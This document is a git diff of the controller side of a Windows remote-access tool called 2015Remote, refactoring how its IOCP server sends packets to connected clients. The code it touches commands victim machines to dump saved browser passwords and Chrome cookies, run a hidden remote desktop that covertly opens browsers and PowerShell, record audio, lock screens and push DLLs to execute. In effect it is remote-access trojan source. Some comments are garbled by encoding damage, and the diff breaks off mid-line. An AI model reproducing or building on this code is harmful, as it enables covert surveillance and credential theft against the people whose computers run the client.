diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index ef941c6..922c29b 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -22,7 +22,7 @@ CMy2015RemoteApp* GetThisApp() { } config& GetThisCfg() { - config *cfg = GetThisApp()->m_iniFile; + config *cfg = GetThisApp()->GetCfg(); return *cfg; } @@ -77,7 +77,6 @@ CMy2015RemoteApp::CMy2015RemoteApp() m_Mutex = NULL; std::string masterHash(skCrypt(MASTER_HASH)); m_iniFile = GetPwdHash() == masterHash ? new config : new iniFile; - m_iocpServer = new IOCPServer(); srand(static_cast(time(0))); } @@ -141,7 +140,7 @@ BOOL CMy2015RemoteApp::InitInstance() // 例如修改为公司或组织名 SetRegistryKey(_T("Remoter")); - CMy2015RemoteDlg dlg(m_iocpServer); + CMy2015RemoteDlg dlg(nullptr); m_pMainWnd = &dlg; INT_PTR nResponse = dlg.DoModal(); if (nResponse == IDOK) @@ -174,12 +173,8 @@ int CMy2015RemoteApp::ExitInstance() CloseHandle(m_Mutex); m_Mutex = NULL; } - if (m_iocpServer != NULL) - { - m_iocpServer->Destroy(); - delete m_iocpServer; - m_iocpServer = NULL; - } + Delete(); + SAFE_DELETE(m_iniFile); return CWinApp::ExitInstance(); diff --git a/server/2015Remote/2015Remote.h b/server/2015Remote/2015Remote.h index b7e4019..f6d7624 100644 --- a/server/2015Remote/2015Remote.h +++ b/server/2015Remote/2015Remote.h @@ -18,20 +18,62 @@ class CMy2015RemoteApp : public CWinApp { +private: + // 配置文件读取器 + config* m_iniFile = nullptr; + // 服务端容器列表 + std::vector m_iocpServer; + // 互斥锁 + HANDLE m_Mutex = nullptr; + public: CMy2015RemoteApp(); - config *m_iniFile; - HANDLE m_Mutex; - Server* m_iocpServer; CImageList m_pImageList_Large; //系统大图标 CImageList m_pImageList_Small; //系统小图标 -// 重写 -public: virtual BOOL InitInstance(); -// 实现 + config* GetCfg() const { + return m_iniFile; + } + + // 启动一个服务端,成功返回0 + UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) { + auto svr = new IOCPServer(); + UINT ret = svr->StartServer(NotifyProc, OffProc, uPort); + if (ret != 0) { + SAFE_DELETE(svr); + return ret; + } + m_iocpServer.push_back(svr); + return 0; + } + + // 释放服务端 SOCKET + void Destroy() { + for (int i=0; iDestroy(); + } + } + + // 释放服务端指针 + void Delete() { + for (int i = 0; i < m_iocpServer.size(); ++i) + { + SAFE_DELETE(m_iocpServer[i]); + } + m_iocpServer.clear(); + } + + // 更新最大连接数 + void UpdateMaxConnection(int maxConn) { + for (int i = 0; i < m_iocpServer.size(); ++i) + { + m_iocpServer[i]->UpdateMaxConnection(maxConn); + } + } DECLARE_MESSAGE_MAP() virtual int ExitInstance(); diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index ae5cdb8..9afb1e0 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -278,9 +278,8 @@ std::vector ReadAllDllFilesWindows(const std::string& dirPath) { return result; } -CMy2015RemoteDlg::CMy2015RemoteDlg(Server* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent) +CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent) { - m_iocpServer = iocpServer; m_hExit = CreateEvent(NULL, TRUE, FALSE, NULL); m_hIcon = THIS_APP->LoadIcon(IDR_MAINFRAME); @@ -1038,16 +1037,12 @@ void CMy2015RemoteDlg::Release(){ for(int Pos = 0; Pos < n; ++Pos) { CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos); - m_iocpServer->Send2Client(ContextObject, &bToken, sizeof(BYTE)); + ContextObject->Send2Client( &bToken, sizeof(BYTE)); } LeaveCriticalSection(&m_cs); Sleep(500); - if (m_iocpServer != NULL) - { - m_iocpServer->Destroy(); - m_iocpServer = NULL; - } + THIS_APP->Destroy(); g_2015RemoteDlg = NULL; SetEvent(m_hExit); CloseHandle(m_hExit); @@ -1449,7 +1444,7 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength) continue; } // 鍙戦佽幏寰楅┍鍔ㄥ櫒鍒楄〃鏁版嵁鍖 - m_iocpServer->Send2Client(ContextObject,szBuffer, ulLength); + ContextObject->Send2Client(szBuffer, ulLength); } LeaveCriticalSection(&m_cs); } @@ -1485,7 +1480,7 @@ void CMy2015RemoteDlg::OnMainSet() Dlg.DoModal(); //妯℃ 闃诲 if (nMaxConnection != Dlg.m_nMax_Connect) { - m_iocpServer->UpdateMaxConnection(Dlg.m_nMax_Connect); + THIS_APP->UpdateMaxConnection(Dlg.m_nMax_Connect); } int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str()); int n = THIS_CFG.GetInt("settings", "SoftwareDetect"); @@ -1593,9 +1588,8 @@ std::vector splitByNewline(const std::string& input) { BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection) { - assert(m_iocpServer); UINT ret = 0; - if ( (ret=m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)) !=0 ) + if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort)) !=0 ) { Mprintf("======> StartServer Failed \n"); char cmd[200]; @@ -1735,7 +1729,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) resp[0] = 0; memcpy(resp+1, &dll, sizeof(DllSendData)); memcpy(resp+1+sizeof(DllSendData), bin->c_str() + 6, dll.DataSize); - m_iocpServer->Send2Client(ContextObject, resp, 1 + sizeof(DllSendData) + dll.DataSize); + ContextObject->Send2Client(resp, 1 + sizeof(DllSendData) + dll.DataSize); SAFE_DELETE_ARRAY(resp); break; } @@ -1757,7 +1751,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) std::string hmac = genHMAC(hash, m_superPass); memcpy(resp + 64, hmac.c_str(), hmac.length()); resp[80] = 0; - m_iocpServer->Send2Client(ContextObject, (LPBYTE)resp, sizeof(resp)); + ContextObject->Send2Client((LPBYTE)resp, sizeof(resp)); break; } case CMD_EXECUTE_DLL: // 璇锋眰DLL @@ -1766,7 +1760,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) for (std::vector::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i){ DllInfo* dll = *i; if (dll->Name == info->Name) { - return m_iocpServer->Send2Client(ContextObject, dll->Data->Buf(), dll->Data->length()); + return ContextObject->Send2Client( dll->Data->Buf(), dll->Data->length()); } } break; @@ -1995,7 +1989,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) { HeartbeatACK ack = { hb.Time }; BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK}; memcpy(buf + 1, &ack, sizeof(HeartbeatACK)); - m_iocpServer->Send2Client(ctx, buf, sizeof(buf)); + ctx->Send2Client(buf, sizeof(buf)); } CLock L(m_cs); @@ -2019,7 +2013,7 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) { memcpy(buf+1, &m_settings, sizeof(MasterSettings)); if (ctx) { - m_iocpServer->Send2Client(ctx, buf, sizeof(buf)); + ctx->Send2Client(buf, sizeof(buf)); } else { EnterCriticalSection(&m_cs); @@ -2028,7 +2022,7 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) { CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(i); if (!ContextObject->bLogin) continue; - m_iocpServer->Send2Client(ContextObject, buf, sizeof(buf)); + ContextObject->Send2Client(buf, sizeof(buf)); } LeaveCriticalSection(&m_cs); } @@ -2043,9 +2037,9 @@ VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, char md5[33] = {}; memcpy(md5, (char*)ContextObject->InDeCompressedBuffer.GetBuffer(32), max(0,min(32, len-32))); if (!buf->MD5().empty() && md5 != buf->MD5()) - m_iocpServer->Send2Client(ContextObject, buf->Buf(), buf->length(len<=20)); + ContextObject->Send2Client( buf->Buf(), buf->length(len<=20)); else { - m_iocpServer->Send2Client(ContextObject, buf->Buf(), 6 /* data not changed */); + ContextObject->Send2Client( buf->Buf(), 6 /* data not changed */); } } } @@ -2207,7 +2201,7 @@ void CMy2015RemoteDlg::OnMainProxy() int iItem = m_CList_Online.GetNextSelectedItem(Pos); CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); BYTE cmd[] = { COMMAND_PROXY }; - m_iocpServer->Send2Client(ContextObject, cmd, sizeof(cmd)); + ContextObject->Send2Client( cmd, sizeof(cmd)); break; } LeaveCriticalSection(&m_cs); @@ -2557,7 +2551,7 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) { Buffer* buf = m_DllList[menuIndex]->Data; int iItem = m_CList_Online.GetNextSelectedItem(Pos); CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); - m_iocpServer->Send2Client(ContextObject, buf->Buf(), 1 + sizeof(DllExecuteInfo)); + ContextObject->Send2Client( buf->Buf(), 1 + sizeof(DllExecuteInfo)); } LeaveCriticalSection(&m_cs); } diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 2cc5807..8049f44 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -125,7 +125,7 @@ protected: } // 构造 public: - CMy2015RemoteDlg(Server* iocpServer, CWnd* pParent = NULL); // 标准构造函数 + CMy2015RemoteDlg(CWnd* pParent = NULL); // 标准构造函数 ~CMy2015RemoteDlg(); // 对话框数据 enum { IDD = IDD_MY2015REMOTE_DIALOG }; @@ -150,7 +150,7 @@ public: template LRESULT OpenDialog(WPARAM wParam, LPARAM lParam) { CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; - T* Dlg = new T(this, m_iocpServer, ContextObject); + T* Dlg = new T(this, ContextObject->GetServer(), ContextObject); Dlg->Create(id, GetDesktopWindow()); Dlg->ShowWindow(Show); @@ -193,7 +193,6 @@ public: std::vector m_DllList; NOTIFYICONDATA m_Nid; HANDLE m_hExit; - Server* m_iocpServer; CRITICAL_SECTION m_cs; BOOL isClosed; CMenu m_MainMenu; diff --git a/server/2015Remote/AudioDlg.cpp b/server/2015Remote/AudioDlg.cpp index e7056d4..356d576 100644 --- a/server/2015Remote/AudioDlg.cpp +++ b/server/2015Remote/AudioDlg.cpp @@ -56,7 +56,7 @@ BOOL CAudioDlg::OnInitDialog() SetWindowText(strString); BYTE bToken = COMMAND_NEXT; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); + m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); //启动线程 判断CheckBox m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL); @@ -84,7 +84,7 @@ DWORD CAudioDlg::WorkThread(LPVOID lParam) LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //播放声音 if (szBuffer != NULL && dwBufferSize > 0) - This->m_iocpServer->Send2Client(This->m_ContextObject, szBuffer, dwBufferSize); //没有消息头 + This->m_ContextObject->Send2Client(szBuffer, dwBufferSize); //没有消息头 } This->m_bThreadRun = FALSE; diff --git a/server/2015Remote/Chat.cpp b/server/2015Remote/Chat.cpp index 2547026..ab038f7 100644 --- a/server/2015Remote/Chat.cpp +++ b/server/2015Remote/Chat.cpp @@ -53,7 +53,7 @@ BOOL CChat::OnInitDialog() m_editNewMsg.SetLimitText(4079); // TODO: Add extra initialization here BYTE bToken = COMMAND_NEXT_CHAT; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); + m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon @@ -89,7 +89,7 @@ void CChat::OnButtonSend() return; // 发送消息为空不处理 } m_editTip.ShowWindow(SW_HIDE); - m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)str, lstrlen(str) + sizeof(char)); + m_ContextObject->Send2Client((LPBYTE)str, lstrlen(str) + sizeof(char)); SYSTEMTIME st; GetLocalTime(&st); char Text[5120] = { 0 }; @@ -171,11 +171,11 @@ void CChat::OnBnClickedButton_LOCK() { BYTE bToken = COMMAND_CHAT_SCREEN_LOCK; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); + m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); } void CChat::OnBnClickedButton_UNLOCK() { BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); + m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); } diff --git a/server/2015Remote/DecryptDlg.cpp b/server/2015Remote/DecryptDlg.cpp index 08fa931..1aa1152 100644 --- a/server/2015Remote/DecryptDlg.cpp +++ b/server/2015Remote/DecryptDlg.cpp @@ -41,7 +41,7 @@ BOOL DecryptDlg::OnInitDialog() { SetWindowText(str); BYTE bToken = COMMAND_NEXT; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); + m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); m_EditDecrypedResult.SetWindowTextA(CString("<<< 提示: 请在菜单选择解密类型 >>>\r\n")); int m_nCurSel = m_EditDecrypedResult.GetWindowTextLengthA(); m_EditDecrypedResult.SetSel((int)m_nCurSel, (int)m_nCurSel); @@ -82,40 +82,40 @@ void DecryptDlg::OnSize(UINT nType, int cx, int cy) void DecryptDlg::OnDecryptChrome() { BYTE bToken[32] = { COMMAND_LLQ_GetChromePassWord }; - m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); + m_ContextObject->Send2Client(bToken, sizeof(bToken)); } void DecryptDlg::OnDecryptEdge() { BYTE bToken[32] = { COMMAND_LLQ_GetEdgePassWord }; - m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); + m_ContextObject->Send2Client(bToken, sizeof(bToken)); } void DecryptDlg::OnDecryptSpeed360() { BYTE bToken[32] = { COMMAND_LLQ_GetSpeed360PassWord }; - m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); + m_ContextObject->Send2Client(bToken, sizeof(bToken)); } void DecryptDlg::OnDecrypt360() { BYTE bToken[32] = { COMMAND_LLQ_Get360sePassWord }; - m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); + m_ContextObject->Send2Client(bToken, sizeof(bToken)); } void DecryptDlg::OnDecryptQQ() { BYTE bToken[32] = { COMMAND_LLQ_GetQQBroPassWord }; - m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); + m_ContextObject->Send2Client(bToken, sizeof(bToken)); } void DecryptDlg::OnDecryptChromeCookies() { BYTE bToken[32] = { COMMAND_LLQ_GetChromeCookies }; - m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); + m_ContextObject->Send2Client(bToken, sizeof(bToken)); } diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index 9ebcded..471ddbc 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -19,6 +19,9 @@ static UINT indicators[] = ID_SEPARATOR }; +#define MAX_SEND_BUFFER 65535 +#define MAX_RECV_BUFFER 65535 + typedef struct { LVITEM* plvi; CString sCol2; @@ -1022,7 +1025,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory) bPacket[0] = COMMAND_LIST_FILES; memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1); - m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize); + m_ContextObject->Send2Client(bPacket, PacketSize); LocalFree(bPacket); m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path); @@ -1481,7 +1484,7 @@ BOOL CFileManagerDlg::SendDownloadJob() bPacket[0] = COMMAND_DOWN_FILES; // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1); - m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize); + m_ContextObject->Send2Client(bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 @@ -1538,7 +1541,7 @@ BOOL CFileManagerDlg::SendUploadJob() memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD)); memcpy(bPacket + 9, fileRemote.GetBuffer(0), fileRemote.GetLength() + 1); - m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize); + m_ContextObject->Send2Client(bPacket, nPacketSize); LocalFree(bPacket); @@ -1569,7 +1572,7 @@ BOOL CFileManagerDlg::SendDeleteJob() } // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1); - m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize); + m_ContextObject->Send2Client(bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 @@ -1749,7 +1752,7 @@ void CFileManagerDlg::CreateLocalRecvFile() else { // 发送继续传输文件的token,包含文件续传的偏移 - m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); + m_ContextObject->Send2Client(bToken, sizeof(bToken)); } } @@ -1822,7 +1825,7 @@ void CFileManagerDlg::WriteLocalRecvFile() dwOffsetLow += dwBytesWrite; memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow)); - m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); + m_ContextObject->Send2Client(bToken, sizeof(bToken)); } } @@ -1896,19 +1899,19 @@ void CFileManagerDlg::EndRemoteDeleteFile() void CFileManagerDlg::SendException() { BYTE bBuff = COMMAND_EXCEPTION; - m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1); + m_ContextObject->Send2Client(&bBuff, 1); } void CFileManagerDlg::SendContinue() { BYTE bBuff = COMMAND_CONTINUE; - m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1); + m_ContextObject->Send2Client(&bBuff, 1); } void CFileManagerDlg::SendStop() { BYTE bBuff = COMMAND_STOP; - m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1); + m_ContextObject->Send2Client(&bBuff, 1); } void CFileManagerDlg::ShowProgress() @@ -2068,7 +2071,7 @@ void CFileManagerDlg::SendTransferMode() BYTE bToken[5]; bToken[0] = COMMAND_SET_TRANSFER_MODE; memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode)); - m_iocpServer->Send2Client(m_ContextObject, (unsigned char *)&bToken, sizeof(bToken)); + m_ContextObject->Send2Client((unsigned char *)&bToken, sizeof(bToken)); } void CFileManagerDlg::SendFileData() @@ -2113,7 +2116,7 @@ void CFileManagerDlg::SendFileData() if (nNumberOfBytesRead > 0) { int nPacketSize = nNumberOfBytesRead + nHeadLength; - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize); + m_ContextObject->Send2Client(lpBuffer, nPacketSize); } LocalFree(lpBuffer); } @@ -2192,7 +2195,7 @@ void CFileManagerDlg::OnRemoteNewfolder() LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2); lpBuffer[0] = COMMAND_CREATE_FOLDER; memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize); + m_ContextObject->Send2Client(lpBuffer, nPacketSize); LocalFree(lpBuffer); } } @@ -2259,7 +2262,7 @@ void CFileManagerDlg::OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult) memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), strExistingFileName.GetLength() + 1); memcpy(lpBuffer + 2 + strExistingFileName.GetLength(), strNewFileName.GetBuffer(0), strNewFileName.GetLength() + 1); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize); + m_ContextObject->Send2Client(lpBuffer, nPacketSize); LocalFree(lpBuffer); } *pResult = 1; @@ -2328,7 +2331,7 @@ void CFileManagerDlg::OnRemoteOpenShow() LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_OPEN_FILE_SHOW; memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); + m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -2342,7 +2345,7 @@ void CFileManagerDlg::OnRemoteOpenHide() LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_OPEN_FILE_HIDE; memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); + m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } diff --git a/server/2015Remote/FileManagerDlg.h b/server/2015Remote/FileManagerDlg.h index 7bac4a7..e37998f 100644 --- a/server/2015Remote/FileManagerDlg.h +++ b/server/2015Remote/FileManagerDlg.h @@ -29,8 +29,6 @@ typedef struct #define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32)) #define MAX_WRITE_RETRY 15 // 重试写入文件次数 -#define MAX_SEND_BUFFER 1024 * 8 // 最大发送数据长度 -#define MAX_RECV_BUFFER 1024 * 8 // 最大接收数据长度 #define WM_MY_MESSAGE (WM_USER+300) diff --git a/server/2015Remote/HideScreenSpyDlg.cpp b/server/2015Remote/HideScreenSpyDlg.cpp index 6f91de5..cd76483 100644 --- a/server/2015Remote/HideScreenSpyDlg.cpp +++ b/server/2015Remote/HideScreenSpyDlg.cpp @@ -57,7 +57,7 @@ CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, Server* pIOCPServer, ClientC CHideScreenSpyDlg::~CHideScreenSpyDlg() { m_bIsClosed = TRUE; - m_iocpServer->Disconnect(m_ContextObject); + m_ContextObject->GetServer()->Disconnect(m_ContextObject); DestroyIcon(m_hIcon); Sleep(200); if (!m_aviFile.IsEmpty()) { @@ -247,7 +247,7 @@ BOOL CHideScreenSpyDlg::OnInitDialog() m_hZoom = ((double)m_BitmapInfor_Full->bmiHeader.biHeight) / ((double)(m_CRect.bottom - m_CRect.top)); SetStretchBltMode(m_hFullDC, STRETCH_HALFTONE); BYTE bBuff = COMMAND_NEXT; - m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1); + m_ContextObject->Send2Client(&bBuff, 1); #ifdef _DEBUG // ShowWindow(SW_MINIMIZE); #endif @@ -447,7 +447,7 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) return; case IDM_SET_FLUSH: { BYTE bToken = COMMAND_FLUSH_HIDE; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken)); + m_ContextObject->Send2Client(&bToken, sizeof(bToken)); } break; case IDM_CONTROL: { @@ -498,7 +498,7 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) break; case IDM_GET_CLIPBOARD: { // 鑾峰彇鍓创鏉 BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken)); + m_ContextObject->Send2Client(&bToken, sizeof(bToken)); } break; case IDM_SET_CLIPBOARD: { // 璁剧疆鍓创鏉 @@ -507,24 +507,24 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) break; case IDM_SETSCERRN: { BYTE bToken = COMMAND_SCREEN_SETSCREEN_HIDE; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken)); + m_ContextObject->Send2Client(&bToken, sizeof(bToken)); } break; case IDM_QUALITY60: { // 娓呮櫚搴60 BYTE bToken = COMMAND_COMMAND_SCREENUALITY60_HIDE; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken)); + m_ContextObject->Send2Client(&bToken, sizeof(bToken)); pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY60, MF_BYCOMMAND); } break; case IDM_QUALITY85: { // 娓呮櫚搴85 BYTE bToken = COMMAND_COMMAND_SCREENUALITY85_HIDE; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken)); + m_ContextObject->Send2Client(&bToken, sizeof(bToken)); pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY85, MF_BYCOMMAND); } break; case IDM_QUALITY100: { // 娓呮櫚搴100 BYTE bToken = COMMAND_COMMAND_SCREENUALITY100_HIDE; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken)); + m_ContextObject->Send2Client(&bToken, sizeof(bToken)); pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY100, MF_BYCOMMAND); } break; @@ -543,84 +543,84 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) BYTE bToken[2]; bToken[0] = COMMAND_HIDE_USER; bToken[1] = IDM_OPEN_Explorer; - m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + m_ContextObject->Send2Client(bToken, 2); } break; case IDM_OPEN_run: { BYTE bToken[2]; bToken[0] = COMMAND_HIDE_USER; bToken[1] = IDM_OPEN_run; - m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + m_ContextObject->Send2Client(bToken, 2); } break; case IDM_OPEN_Powershell: { BYTE bToken[2]; bToken[0] = COMMAND_HIDE_USER; bToken[1] = IDM_OPEN_Powershell; - m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + m_ContextObject->Send2Client(bToken, 2); } break; case IDM_OPEN_Chrome: { BYTE bToken[2]; bToken[0] = COMMAND_HIDE_USER; bToken[1] = IDM_OPEN_Chrome; - m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + m_ContextObject->Send2Client(bToken, 2); } break; case IDM_OPEN_Edge: { BYTE bToken[2]; bToken[0] = COMMAND_HIDE_USER; bToken[1] = IDM_OPEN_Edge; - m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + m_ContextObject->Send2Client(bToken, 2); } break; case IDM_OPEN_Brave: { BYTE bToken[2]; bToken[0] = COMMAND_HIDE_USER; bToken[1] = IDM_OPEN_Brave; - m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + m_ContextObject->Send2Client(bToken, 2); } break; case IDM_OPEN_Firefox: { BYTE bToken[2]; bToken[0] = COMMAND_HIDE_USER; bToken[1] = IDM_OPEN_Firefox; - m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + m_ContextObject->Send2Client(bToken, 2); } break; case IDM_OPEN_Iexplore: { BYTE bToken[2]; bToken[0] = COMMAND_HIDE_USER; bToken[1] = IDM_OPEN_Iexplore; - m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + m_ContextObject->Send2Client(bToken, 2); } break; case IDM_OPEN_ADD_1: { BYTE bToken[2]; bToken[0] = COMMAND_HIDE_USER; bToken[1] = IDM_OPEN_ADD_1; - m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + m_ContextObject->Send2Client(bToken, 2); } break; case IDM_OPEN_ADD_2: { BYTE bToken[2]; bToken[0] = COMMAND_HIDE_USER; bToken[1] = IDM_OPEN_ADD_2; - m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + m_ContextObject->Send2Client(bToken, 2); } break; case IDM_OPEN_ADD_3: { BYTE bToken[2]; bToken[0] = COMMAND_HIDE_USER; bToken[1] = IDM_OPEN_ADD_3; - m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + m_ContextObject->Send2Client(bToken, 2); } break; case IDM_OPEN_ADD_4: { BYTE bToken[2]; bToken[0] = COMMAND_HIDE_USER; bToken[1] = IDM_OPEN_ADD_4; - m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + m_ContextObject->Send2Client(bToken, 2); } break; case IDM_OPEN_zdy: { @@ -635,7 +635,7 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) lpPacket[0] = COMMAND_HIDE_USER; lpPacket[1] = IDM_OPEN_zdy; memcpy(lpPacket + 2, dlg.m_str.GetBuffer(0), nPacketLength - 2); - m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); + m_ContextObject->Send2Client(lpPacket, nPacketLength); delete[] lpPacket; } @@ -661,7 +661,7 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) lpPacket[0] = COMMAND_HIDE_USER; lpPacket[1] = IDM_OPEN_zdy2; memcpy(lpPacket + 2, &m_ZdyCmd, nPacketLength - 2); - m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); + m_ContextObject->Send2Client(lpPacket, nPacketLength); delete[] lpPacket; } EnableWindow(TRUE); @@ -671,27 +671,27 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) BYTE bToken[2]; bToken[0] = COMMAND_HIDE_USER; bToken[1] = IDM_OPEN_360JS; - m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + m_ContextObject->Send2Client(bToken, 2); break; } case IDM_OPEN_360AQ: { BYTE bToken[2]; bToken[0] = COMMAND_HIDE_USER; bToken[1] = 